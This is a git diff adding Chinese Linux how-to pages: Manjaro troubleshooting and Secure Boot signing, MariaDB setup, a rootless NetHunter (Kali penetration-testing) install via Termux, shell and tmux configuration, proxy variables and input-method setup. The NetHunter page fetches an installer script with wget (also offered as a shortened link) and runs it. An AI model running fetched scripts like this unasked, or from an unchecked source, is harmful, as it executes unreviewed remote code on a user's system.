结束 + +系统成功安装后将显示此提示. + +![Finish](assets/18_finish.png){ width=80% style="display: block; margin: 0 auto" } + +## 安装后配置 + +- [包管理](../Arch/Arch_包管理.md). +- 时间同步: 在设置中开启时间同步, 如果是双系统请参考[双系统时间不一致](../../双系统时间不一致.md). +- 启用备份: 使用 Timeshift 对系统进行定期备份. + +## 参见 + +- [Manjaro Wiki](https://wiki.manjaro.org/index.php/Main_Page) + +[scoop]: ../Windows/Windows_包管理.md +[FHS]: https://refspecs.linuxfoundation.org/FHS_3.0/index.html diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/Manjaro_\346\225\205\351\232\234\346\216\222\351\231\244.md" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/Manjaro_\346\225\205\351\232\234\346\216\222\351\231\244.md" new file mode 100644 index 000000000..c94f9ceab --- /dev/null +++ "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/Manjaro_\346\225\205\351\232\234\346\216\222\351\231\244.md" @@ -0,0 +1,109 @@ +# Manjaro 故障排除 + +## sudo 密码不正确 + +```sh +faillock --reset +``` + +## Timeshift + +利用 Timeshift[^1] 进行备份/还原可以排除新引入的故障. + +!!! warning + Timeshift 默认并不备份用户目录, 因此当还原后问题依然存在可能是由用户目录中文件所导致的. + +## Secure Boot + +```sh +> sudo pacman -S sbctl +> sbctl status +Installed: ✗ sbctl is not installed +Setup Mode: ✓ Disabled +Secure Boot: ✗ Disabled +Vendor Keys: microsoft +> sbctl status +Installed: ✓ sbctl is installed +Owner GUID: 7f6711c7-2f33-42d1-b1a5-c3b00eee5758 +Setup Mode: ✗ Enabled +Secure Boot: ✗ Disabled +Vendor Keys: none +> sudo sbctl create-keys +Created Owner UUID 7f6711c7-2f33-42d1-b1a5-c3b00eee5758 +Creating secure boot keys...✓ +Secure boot keys created! +> sudo sbctl enroll-keys --microsoft +Enrolling keys to EFI variables... +With vendor keys from microsoft...✓ +Enrolled keys to the EFI variables! +> sbctl status +Installed: ✓ sbctl is installed +Owner GUID: 7f6711c7-2f33-42d1-b1a5-c3b00eee5758 +Setup Mode: ✓ Disabled +Secure Boot: ✗ Disabled +Vendor Keys: microsoft +> sudo sbctl verify +Verifying file database and EFI images in /boot/efi... +✗ /boot/efi/EFI/Boot/bootx64.efi is not signed +... +> sudo sbctl sign -s /boot/efi/EFI/Manjaro/grubx64.efi +✓ Signed /boot/efi/EFI/Manjaro/grubx64.efi +> sudo sbctl verify +Verifying file database and EFI images in /boot/efi... +✓ /boot/efi/EFI/Manjaro/grubx64.efi is signed +... +> sbctl status +Installed: ✓ sbctl is installed +Owner GUID: 7f6711c7-2f33-42d1-b1a5-c3b00eee5758 +Setup Mode: ✓ Disabled +Secure Boot: ✗ Disabled +Vendor Keys: microsoft +> reboot +``` + +## 还原用户目录 + +创建一个新用户, 然后拷贝其用户目录下的文件到要还原的用户目录下. + +## 无音频输出 + +以下方法只能暂时缓解该问题, **暂未找到该问题的永久解决方法**. + +```sh +systemctl --user restart pulseaudio.service +systemctl --user restart pulseaudio.socket + +pulseaudio --check +pulseaudio --kill +pulseaudio --start + +sudo gpasswd -a $USER audio +sudo killall pulseaudio + +rm -R .config/pulse/ +sudo pacman -S pulseaudio + +amixer -D pulse sset Master toggle +``` + +## 设置 + +**DE**: Gnome. + +1. Settings: 系统的基本设置. +2. Tweaks: 系统的高级设置. +3. Extensions: 拓展的设置. +4. Manjaro Settings: 系统内核/驱动的设置. +5. Layouts: 桌面布局基本设置. + +## 目录 + +- 服务: `/etc/systemd`. +- 用户安装字体: `~/.local/share/fonts`. + +## 参见 + +- [HiDPI - ArchWiki](https://wiki.archlinux.org/title/HiDPI). +- [[HowTo] Find system information - Manjaro forum](https://forum.manjaro.org/t/howto-find-system-information/105212). + +[^1]: [linuxmint/timeshift](https://github.com/linuxmint/timeshift)/[teejee2008/timeshift](https://github.com/teejee2008/timeshift)(原仓库, 已停止更新) diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/10_home.png" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/10_home.png" new file mode 100644 index 000000000..93f2435c7 Binary files /dev/null and "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/10_home.png" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/11_overview_1.png" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/11_overview_1.png" new file mode 100644 index 000000000..9cbd06c28 Binary files /dev/null and "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/11_overview_1.png" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/12_overview_2.png" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/12_overview_2.png" new file mode 100644 index 000000000..b3e3b6f83 Binary files /dev/null and "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/12_overview_2.png" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/13_users.png" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/13_users.png" new file mode 100644 index 000000000..df3820e53 Binary files /dev/null and "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/13_users.png" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/14_summary.png" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/14_summary.png" new file mode 100644 index 000000000..3f158027c Binary files /dev/null and "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/14_summary.png" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/15.png" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/15.png" new file mode 100644 index 000000000..36abd19f3 Binary files /dev/null and "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/15.png" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/16_install.png" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/16_install.png" new file mode 100644 index 000000000..f4e875e29 Binary files /dev/null and "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/16_install.png" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/17_install_log.png" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/17_install_log.png" new file mode 100644 index 000000000..49cf9551c Binary files /dev/null and "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/17_install_log.png" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/18_finish.png" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/18_finish.png" new file mode 100644 index 000000000..66d0980c3 Binary files /dev/null and "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/18_finish.png" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/1_manjaro_hello.png" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/1_manjaro_hello.png" new file mode 100644 index 000000000..eb35247e3 Binary files /dev/null and "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/1_manjaro_hello.png" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/2_manjaro_linux_installer.png" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/2_manjaro_linux_installer.png" new file mode 100644 index 000000000..65bf8cf09 Binary files /dev/null and "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/2_manjaro_linux_installer.png" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/3_location.png" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/3_location.png" new file mode 100644 index 000000000..bf2b85f64 Binary files /dev/null and "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/3_location.png" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/4_keyboard.png" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/4_keyboard.png" new file mode 100644 index 000000000..e2e50171c Binary files /dev/null and "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/4_keyboard.png" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/5_partitions.png" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/5_partitions.png" new file mode 100644 index 000000000..c903432de Binary files /dev/null and "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/5_partitions.png" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/6_efi.png" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/6_efi.png" new file mode 100644 index 000000000..72f809549 Binary files /dev/null and "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/6_efi.png" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/7_root.png" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/7_root.png" new file mode 100644 index 000000000..f1b8fd2f3 Binary files /dev/null and "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/7_root.png" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/8_swap.png" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/8_swap.png" new file mode 100644 index 000000000..dc68c0c5e Binary files /dev/null and "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/8_swap.png" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/9_var.png" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/9_var.png" new file mode 100644 index 000000000..15ebe63cc Binary files /dev/null and "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/9_var.png" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/download_manjaro_iso.png" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/download_manjaro_iso.png" new file mode 100644 index 000000000..e4fdb647c Binary files /dev/null and "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/download_manjaro_iso.png" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/manjaro_official_gnome.jpg" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/manjaro_official_gnome.jpg" new file mode 100644 index 000000000..ed42ad52a Binary files /dev/null and "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/manjaro_official_gnome.jpg" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/rufus_official_download.png" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/rufus_official_download.png" new file mode 100644 index 000000000..5e766728e Binary files /dev/null and "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/rufus_official_download.png" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/rufus_usage.png" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/rufus_usage.png" new file mode 100644 index 000000000..6b9f9f397 Binary files /dev/null and "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/assets/rufus_usage.png" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/MariaDB_\345\256\211\350\243\205.md" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/MariaDB_\345\256\211\350\243\205.md" new file mode 100644 index 000000000..b41444a79 --- /dev/null +++ "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/MariaDB_\345\256\211\350\243\205.md" @@ -0,0 +1,33 @@ +# MariaDB 安装 + +```sh +# 安装 MariaDB +sudo pacman -Sy mariadb +mariadb-install-db --user=mysql --basedir=/usr --datadir=/var/lib/mysql + +# 启用服务 +systemctl enable --now mariadb +systemctl status mariadb + +# 初始化数据库 +sudo mysql_secure_installation + +# 以 root 用户的身份登录 +sudo mysql -u root + +MariaDB > USE mysql; +MariaDB > SELECT User, Host, plugin FROM user; + +# 创建用户 +MariaDB > CREATE USER 'YOUR_SYSTEM_USER'@'localhost' IDENTIFIED BY 'YOUR_PASSWD'; # 添加用户 +MariaDB > GRANT ALL PRIVILEGES ON *.* TO 'YOUR_SYSTEM_USER'@'localhost'; # 授予用户权限 + +# 设置验证方式 +# 注意: 在 MariaDB 中, mysql.user 只是一个视图, 不能直接通过 UPDATE 语句进行修改 +MariaDB > ALTER USER 'YOUR_SYSTEM_USER'@'localhost' IDENTIFIED VIA unix_socket; + +MariaDB > FLUSH PRIVILEGES; # 使修改立即生效 + +# 以当前用户的身份登录 +mysql +``` diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/NetHunter_\345\256\211\350\243\205.md" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/NetHunter_\345\256\211\350\243\205.md" new file mode 100644 index 000000000..6f6a640ca --- /dev/null +++ "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/NetHunter_\345\256\211\350\243\205.md" @@ -0,0 +1,62 @@ +# NetHunter 安装 + +基于 Kali Linux 的手机渗透测试平台. + +[NetHunter](https://www.kali.org/docs/nethunter/) 有三个版本, 以下仅说明 Rootless 版本的安装. + +## 安装 CLI + +下载并安装 Termux: + +- [Github Release](https://github.com/termux/termux-app/releases) +- [F-Droid](https://f-droid.org/packages/com.termux) + +打开 Termux 并执行以下命令: + +```sh +pkg update +pkg upgrade +pkg install wget + +wget -O install-nethunter-termux https://gitlab.com/kalilinux/nethunter/build-scripts/kali-nethunter-project/raw/master/nethunter-rootless/install-nethunter-termux # short url: https://bit.ly/3bvdkvh +chmod +x install-nethunter-termux +./install-nethunter-termux +``` + +若出现询问则直接回车选择默认值. + +- 启动 CLI: `nh`. +- 启动 CLI 以 root 权限: `nh -r`. +- 配置 GUI 密码: `nh kex passwd`. +- 启动 GUI: `nh kex`, 第一次启动可以在前台运行, 方便查看端口号. +- 启动 GUI 并驻留后台: `nh kex &`. +- 结束 GUI: `nh kex stop`. + +命令 `nh` 是 `nethunter` 的别名. + +!!! success + 至此已经完成了 NetHunter 非 root 的安装, 并可以开始使用 CLI. + +## 安装 GUI + +!!! warning + 安装 GUI 前请先确保已经安装了 CLI, 并通过 CLI 启动了 KeX. + +1. 下载并安装 [NetHunter App Store](https://store.nethunter.com/). +2. 搜索关键字 `KeX` 并安装 NetHunter KeX (bVNC). +3. 设置以下参数 + - 用户名: `kali`. + - 密码: 先前设置的 KeX 密码. + - 端口号: 先前启动 KeX 时输出中 `RFB PORT #` 的值. +4. 进行连接. + +!!! success + 此时应该能成功看到 Kali 的 GUI 界面. + +## 参见 + +- [NetHunter Rootless | Kali Linux Documentation](https://www.kali.org/docs/nethunter/nethunter-rootless/) + +## 参考 + +- diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Raspberry_Pi_OS_\345\256\211\350\243\205.md" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Raspberry_Pi_OS_\345\256\211\350\243\205.md" new file mode 100644 index 000000000..6c295977f --- /dev/null +++ "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Raspberry_Pi_OS_\345\256\211\350\243\205.md" @@ -0,0 +1,28 @@ +# Raspberry Pi OS 安装 + +安装 Raspberry Pi Imager. + +```console +> scoop install raspberry-pi-imager # Windows +> sudo apt install rpi-imager # Debian +``` + +![](assets/rpi_imager_0.png) + +选择操作系统, 本文以 `Raspberry Pi OS (64-bit)` 为例. +选择要烧录的设备. + +在右下角的设置中: + +1. 启用 `Enable SSH`. +2. 配置用户名和密码. +3. 配置无线局域网. +4. 配置本地化. 选择合适的时区, 键盘布局为 `us`. +5. 点击 `Save`. + +![](assets/rpi_imager_1.png) + +点击 `WRITE` 开始烧录, 烧录过程大概耗时 10 min. +烧录过程主要分为写入和验证两个阶段. + +![](assets/rpi_imager_2.png) diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Shell.md" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Shell.md" new file mode 100644 index 000000000..feac8266b --- /dev/null +++ "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Shell.md" @@ -0,0 +1,90 @@ +# Shell + +!!! warning + 异常的 Shell 配置, 如对 `.zshrc` 的错误修改可能导致终端模拟器无法启动. 因此配置完后因开启新的终端模拟器来进行测试, 而不是直接将新配置应用到当前终端. + +## 基础命令增强 + +基础命令 ls, grep, find, cat, top 等都有更快/更美观/更实用的增强版本. +安装这些增强的版本可以提高效率, 详情请查看[常用软件](常用软件.md#terminal). +安装后在 `.zshrc` 中创建别名, 用增强版替代原命令, 如: + +```sh +alias ls='exa' # 将 ls 作为 exa 的别名 +``` + +## 安装 Powerline 字体 + +该字体包含了大量图标, 可以用于显示美观的 Prompt/Vim/Tmux 状态栏. +可以从 [Nerd Fonts](https://www.nerdfonts.com/) 下载字体, 包含了 Powerline 和其他流行图标. + +如倾向使用 `Cascadia Code` 的话可以下载 `Caskaydia Cove Nerd Font`, 包含了 `Cascadia Code` 字体, Powerline 和其他流行图标. + +![](assets/caskaydia_cove_nerd_font.png){ width=70% style="display: block; margin: 0 auto" } + +## 命令提示符 + +默认的命令提示符通常只提供了最基本的信息, 如当前所在的目录. +通过自定义命令提示符可以向用户提供更多有用的信息, 如: 上一条命令的返回值, 当前目录的 Git 状态等. + +[powerlevel10k](https://github.com/romkatv/powerlevel10k.git) 是一个开箱即用的 Zsh 主题, 可以快速的配置一个实用美观的命令行提示符. + +![](assets/powerlevel10k.png){ width=70% style="display: block; margin: 0 auto" } + +```sh +git clone --depth=1 https://github.com/romkatv/powerlevel10k.git ~/powerlevel10k +echo 'source ~/powerlevel10k/powerlevel10k.zsh-theme' >>~/.zshrc +source ~/.zshrc +p10k configure +``` + +## 终端复用 + +在进一步了解 Tmux 的使用前需要先了解几个[术语](https://github.com/tmux/tmux/wiki/Getting-Started#summary-of-terms). +Tmux 允许用户创建多个**会话 (Session)**, 每个会话可以有多个**窗口 (Window)**, 每个窗口可以有多个**面板 (Pane)**. + +[gpakosz/.tmux](https://github.com/gpakosz/.tmux) 是一个开箱即用的 Tmux 配置, 可以快速的配置一个实用美观的 Tmux 环境. +用户只需修改配置文件 `.tmux.conf.local`. + +```sh +git clone --depth=1 https://github.com/gpakosz/.tmux.git ~/.tmux +ln -s -f ~/.tmux/.tmux.conf +cp ~/.tmux/.tmux.conf.local ~ +``` + +终端启动时自动进入 Tmux 会话可以在 `.zshrc` 的开头添加以下内容: + +```sh +if command -v tmux &> /dev/null && [ -n "$PS1" ] && [[ ! "$TERM" =~ screen ]] && [[ ! "$TERM" =~ tmux ]] && [ -z "$TMUX" ]; then + exec tmux new-session -A -s main +fi +``` + +## 命令别名 + +为常用的命令取一个简短的别名可以提高效率, 如: + +```sh +alias ll='ls -l' +alias lg='lazygit' +``` + +## 环境变量 + +### 默认编辑器 + +设置默认编辑器为 Neovim: + +```sh +export VISUAL=nvim +export EDITOR=nvim +``` + +### 网络代理 + +设置HTTP/HTTPS网络代理服务器为 `:`. + +```sh +set HTTP_PROXY=: +set HTTPS_PROXY=: +``` diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Tails_\345\256\211\350\243\205.md" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Tails_\345\256\211\350\243\205.md" new file mode 100644 index 000000000..0be8cda94 --- /dev/null +++ "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Tails_\345\256\211\350\243\205.md" @@ -0,0 +1,15 @@ +# Tails 安装 + +Tails 的安装十分简单快速, 从下载到安装大约只需要 **5**min. 使用方式就是从U盘启动, 因此只需要将系统映像烧入到U盘中即可. + +由于不同环境下需要使用的工具集不同, 官方为不同环境下的安装提供了图文并茂的教程: + +- [Windows](https://tails.boum.org/install/windows/index.en.html). +- [Linux](https://tails.boum.org/install/linux/index.en.html). +- [macOS](https://tails.boum.org/install/mac/index.en.html). +- [Terminal](https://tails.boum.org/install/expert/index.en.html): 无桌面环境的 Linux. + +!!! warning + 鉴于 Tails 的使用目的, 校验下载文件的签名是必须步骤. 官方在有桌面环境的教程中提供了利用 JavaScript 实现的校验方式, 也可以使用 OpenPGP 进行校验. + +Tails 也支持在虚拟机中运行, 但并不推荐. 详情请参考[安装方法](https://tails.boum.org/install/vm/index.en.html)和[使用方法](https://tails.boum.org/doc/advanced_topics/virtualization/index.en.html). diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Termux.md" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Termux.md" new file mode 100644 index 000000000..3851b8295 --- /dev/null +++ "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Termux.md" @@ -0,0 +1,41 @@ +# Termux + +Termux 是一个 Android 终端模拟器. + +链接移动设备需要以下软件: + +- ssh: 用于互连, 使电脑可以接管移动设备. +- tmux: 用户保存会话, 保留用户在会话中的操作. + +## 初始化 + +Termux 需要执行以下命令来启动 SSH 服务器: + +```sh +pkg install openssh # 安装 SSH +passwd # 设置登录所需密码 +sshd # 启动服务器 +ifconfig # 查看设备 IP 地址 +``` + +## 连接移动设备 + +电脑通过以下命令来连接移动设备: + +```sh +ssh -p 8022 # 输入密码并登录移动设备 +tmux ls # 列出 tmux 会话 +tmux a -t # 接入指定会话 +``` + +接入 tmux 会话后电脑便会显示会话内容, 可以继续工作. +工作结束后通过 `` `D` 分离会话, 然后结束 SSH 会话, 将工作重新交接给移动设备. +在会话中可以使用 `` `$` 重命名会话, 在存在多个 tmux 会话时有助于区分不同会话. + +!!! warning + 若 SSH 连接过程中移动设备断开(显示连接断开或电脑端 SSH 无响应), 请确保 Termux 在正常工作中. + 若要将 Termux 放置到后台应先允许其能在后台运行. + +## 参考 + +- . diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/assets/caskaydia_cove_nerd_font.png" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/assets/caskaydia_cove_nerd_font.png" new file mode 100644 index 000000000..68994d426 Binary files /dev/null and "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/assets/caskaydia_cove_nerd_font.png" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/assets/input_method_skin_spring.png" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/assets/input_method_skin_spring.png" new file mode 100644 index 000000000..9f9da3531 Binary files /dev/null and "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/assets/input_method_skin_spring.png" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/assets/powerlevel10k.png" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/assets/powerlevel10k.png" new file mode 100644 index 000000000..d353e47d1 Binary files /dev/null and "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/assets/powerlevel10k.png" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/assets/rpi_imager_0.png" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/assets/rpi_imager_0.png" new file mode 100644 index 000000000..c3848d5f3 Binary files /dev/null and "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/assets/rpi_imager_0.png" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/assets/rpi_imager_1.png" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/assets/rpi_imager_1.png" new file mode 100644 index 000000000..d481730a6 Binary files /dev/null and "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/assets/rpi_imager_1.png" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/assets/rpi_imager_2.png" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/assets/rpi_imager_2.png" new file mode 100644 index 000000000..f7dc74cb8 Binary files /dev/null and "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/assets/rpi_imager_2.png" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/openSUSE.md" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/openSUSE.md" new file mode 100644 index 000000000..9a19788c5 --- /dev/null +++ "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/openSUSE.md" @@ -0,0 +1,3 @@ +# openSUSE + +- . diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/\345\271\263\351\223\272\347\252\227\345\217\243\347\256\241\347\220\206\345\231\250.md" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/\345\271\263\351\223\272\347\252\227\345\217\243\347\256\241\347\220\206\345\231\250.md" new file mode 100644 index 000000000..99e754c2c --- /dev/null +++ "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/\345\271\263\351\223\272\347\252\227\345\217\243\347\256\241\347\220\206\345\231\250.md" @@ -0,0 +1,10 @@ +# 平铺窗口管理器 + +**英文**: Tiling window manager. + +浮动窗口是 Windows/macOS 等桌面环境默认使用的窗口管理模式, 窗口可以进行堆叠, 窗口之间可以互相遮蔽. + +从浮动窗口管理器 (stacking window manager/floating window manager) 的角度来看, 平铺窗口像是将当前桌面的浮动窗口铺满整个屏幕, 因此整个屏幕的空间都能被利用到. +从终端复用器的角度来看, 平铺窗口像是桌面环境下的"窗口复用器", 二者都支持仅键盘操作. + +TODO diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/\347\275\221\347\273\234\344\273\243\347\220\206.md" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/\347\275\221\347\273\234\344\273\243\347\220\206.md" new file mode 100644 index 000000000..09231dfaf --- /dev/null +++ "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/\347\275\221\347\273\234\344\273\243\347\220\206.md" @@ -0,0 +1,22 @@ +# 网络代理 + +## 环境变量 + +```fish +set -Ux all_proxy 'socks5://127.0.0.1:7890/' +set -Ux http_proxy 'http://127.0.0.1:7890/' +set -Ux https_proxy $http_proxy +set -Ux no_proxy 'localhost, 127.0.0.0/8, ::1' +``` + +## sudo 保持代理 + +在 `/etc/sudoers.d/05_proxy` 追加下面内容: + +``` +Defaults env_keep += "*_proxy *_PROXY" +``` + +## 参考 + +- . diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/\350\276\223\345\205\245\346\263\225.md" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/\350\276\223\345\205\245\346\263\225.md" new file mode 100644 index 000000000..73fb0f323 --- /dev/null +++ "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/\350\276\223\345\205\245\346\263\225.md" @@ -0,0 +1,101 @@ +# 输入法 + +## 安装 + +下面以 fictx5 作为输入法框架(Input Method Framework, IMF), rime 输入法举例, 其他常见的 IMF 还有 ibus/scim/uim. + +```sh +sudo pacman -S fcitx5 fcitx5-configtool fcitx5-gtk fcitx5-qt fcitx5-rime +``` + +向文件 `/etc/profile` 追加以下内容: + +```sh +export GTK_IM_MODULE=fcitx +export QT_IM_MODULE=fcitx +export SDL_IM_MODULE=fcitx +export XMODIFIERS=@im=fcitx +export GLFW_IM_MODULE=ibus +# export WEBKIT_IM_MODULE=fcitx +``` + +或者向文件 `/etc/environment` 追加以下内容: + +``` +GTK_IM_MODULE=fcitx +QT_IM_MODULE=fcitx +SDL_IM_MODULE=fcitx +XMODIFIERS=@im=fcitx +GLFW_IM_MODULE=ibus +``` + +更详细的环境变量修改方式请参考 [ArchWiki](https://wiki.archlinux.org/title/Environment_variables). + +## 配置 + +配置文件路径: + +- Linux: + + - fcitx5: `~/.local/share/fcitx5/rime`. + - fcitx: `~/.config/fcitx/rime/`. + - ibus: `~/.config/ibus/rime`. + +- Windows: `%APPDATA%\Rime`. (未验证) +- macOS: `~/Library/Rime`. (未验证) + +创建文件 `default.custom.yaml` 并写入下面内容: + +```yaml +patch: + schema_list: + # - schema: luna_pinyin # 朙月拼音 + - schema: luna_pinyin_simp # 朙月拼音 簡化字模式 + # - schema: luna_pinyin_tw # 朙月拼音 臺灣正體模式 + # - schema: terra_pinyin # 地球拼音 dì qiú pīn yīn + # - schema: bopomofo # 注音 + # - schema: bopomofo_tw # 注音 臺灣正體模式 + # - schema: jyutping # 粵拼 + # - schema: cangjie5 # 倉頡五代 + # - schema: 